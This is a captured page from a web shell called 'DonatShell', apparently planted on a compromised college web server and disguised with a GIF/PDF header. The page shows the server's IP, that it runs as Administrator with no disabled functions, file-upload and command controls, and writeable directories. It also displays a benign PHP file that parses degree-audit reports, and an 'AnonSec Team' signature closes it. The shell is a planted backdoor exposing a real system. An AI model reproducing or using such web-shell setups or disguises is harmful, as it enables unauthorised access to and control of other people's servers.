GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Admin/DARS.cloak/parse/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Admin/DARS.cloak/parse/ParseDARS_functions.phpinc
<?
// /Admin/DARS/parse/parseDARS_functions.phpinc
// Contains the ParseDARS functions.

#setDebugOn();
$_SESSION['Message'] = '';

$f_error = false;

#$DEBUG_ParseDARS_functions = true;
if ( !isset($DEBUG_ParseDARS_functions) ) $DEBUG_ParseDARS_functions = false;

// function get_DARSln()
// Returns true if there is a new non-blank line in the DARS report ($f_DARS_Array).
// Sets:      $f_DARSln = The dars line.
//           $f_DARSlnA = An array with the DARS line parsed into tokens (white space, comma, and colon delimited).
//       $f_DARSlnAsize = The size of the $f_DARSlnA array.
// Note: $f_DARSlnCount must contain the size of the $f_DARS_Array array.
//             $f_error must be false.
//               $index nust contain the index into the $f_DARS_Array array.
//       An $f_error will be set and the $state changed to 99 if the end of the $f_DARS_Array array is exceeded.
function get_DARSln() {
	global $f_DARS_Array;
	global $f_DARSln;
	global $f_DARSlnA;
	global $f_DARSlnAsize;
	global $f_DARSlnCount;
	global $f_error;
	global $index;
	global $state;
	global $get_DARSln;
	$blankLine = true;
	while ( !$f_error && $blankLine ) {
		$index++;
		if ( $index < $f_DARSlnCount ) {
			#$f_DARSln = rtrim(str_replace(array('Triangle pointing down.','Triangle pointing right.'),'',$f_DARS_Array[$index])); // Remove 'Triangle pointing down.' & 'Triangle pointing right.'
			$f_DARSln = rtrim($f_DARS_Array[$index]);
			#d_Var('$f_DARSln',$f_DARSln);
			if ( trim($f_DARSln) != '' && substr(trim($f_DARSln),0,1) != '#' && !in_DARSln('Printer Friendly') ) {
				#d_Var('$f_DARSln',$f_DARSln);
				$blankLine = false;
				$f_DARSlnA = preg_split("/[\s:,]+/",trim($f_DARSln));
				$f_DARSlnAsize = count($f_DARSlnA);
				$debug_backtrace = debug_backtrace(); $file = basename($debug_backtrace['0']['file']); $filepath = $debug_backtrace['0']['file']; $line = $debug_backtrace['0']['line'];
				#if ( $state == 30 ) echo $index.': '.$f_DARSln.' <span class="pv_fl">'.basename($file).":".$line."</span><br>\n";
				$get_DARSln = true;
				#d_Var("$index of $f_DARSlnCount $get_DARSln: \$f_DARSln",$f_DARSln,'ai');
				return $get_DARSln;
			}
		} else {
			#d_Line('END OF TEXT.','e');
			#$f_error = 'Parse past end of DARS.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>';
			set_state(99);
			#$f_DARS_Array[$index] = false;
			#$f_DARSln = '';
			#$f_DARSlnA = array();
			#$f_DARSlnAsize = 0;
			$get_DARSln = false;
			return $get_DARSln;
		}
	}
}

// function set_state($value)
// Sets $statePrevious to the current state.
// Sets $state to $value.
function set_state($value) {
	global $state;
	global $statePrevious;
	$statePrevious = $state;
	$state = $value;
	#d_Line("\$state == $state",'da');
	return;
}

// function valid_date($date)
// Verify a date in mm/dd/yy or mm/dd/yyyy format.
// $date = The date to be verified.
/* * /
function valid_date($date) {
	$splitDate=split("/",$date); // splitting the array
	if( !isset($splitDate[1]) || !isset($splitDate[2]) || !checkdate($splitDate[0],$splitDate[1],$splitDate[2])){
		return false;
	} else {
		return $date;
	} 
}
/* */

// function fix_date_year($date)
// Fix date mm/dd/yy or mm/dd/yyyy to yyyy-mm-dd.
// $date = A date in mm/dd/yy or mm/dd/yyyy format.
function fix_date_year($date) {
	$fix_date_year = explode('/',$date);
	if ( strlen($fix_date_year[2]) == 2 ) {
		// Two digit year. Convert to four digit year.
		if ( $fix_date_year[2] > 80 ) {
			$fix_date_year[2] = '19'.$fix_date_year[2];
		} else {
			$fix_date_year[2] = '20'.$fix_date_year[2];
		}
	}
	$fix_date_year = $fix_date_year[2].'-'.$fix_date_year[0].'-'.$fix_date_year[1];
	return $fix_date_year;
}

// function in_DARSln($string)
// Checks to see if the $string is in $f_DARSln.
// $string = The string to check for.
function in_DARSln($string) {
	global $f_DARSln;
	global $index;
	#d_Var('in_DARSln '.$index.': $f_DARSln',$f_DARSln,'d');
	if ( strpos($f_DARSln,$string) !== false ) { return true; } else { return false; }
}

function is_CourseSection() {
	global $f_DARSln;
	$sectionTitle = trim($f_DARSln);
	#printVar('$sectionTitle',$sectionTitle);
	if ( substr($sectionTitle,0,25) == 'General Education courses' ) { $sectionTitle = 'General Education Courses'; }
	if ( substr($sectionTitle,0,24) == 'Marketing & Design AAS -' ) { $sectionTitle = substr($sectionTitle,24); }
	if ( $sectionTitle == 'Technical Core' ) { $sectionTitle = 'Technical Core Courses'; }
	if ( $sectionTitle == 'Technical Core Requirements' ) { $sectionTitle = 'Technical Core Courses'; }
	$sectionName = str_replace(" ","",$sectionTitle);
	#printVar('$sectionName',$sectionName);
	switch ( $sectionName ) {
		case 'TechnicalCoreCourses':
		case 'Marketing&DesignAAS-TechnicalCore':
		case 'TechnicalElectiveCourses':
		case 'TechnicalElectives':
		case 'Electives':
		case 'GeneralEducationCourses':
		case 'GeneralStudiesAppliedCourses':
		case 'GeneralStudies':
		case 'GeneralStudiesCourses':
		case 'GeneralStudiesRequirement':
		case 'CoursesNotUsedinEducationPlanRequirements':
		case 'Remedial/DevelopmentalCourses':
		case 'CoursesbyTerm':
			return true;
			break;
		default:
			break;
	}
	return false;
}
?>

Anon7 - 2022
AnonSec Team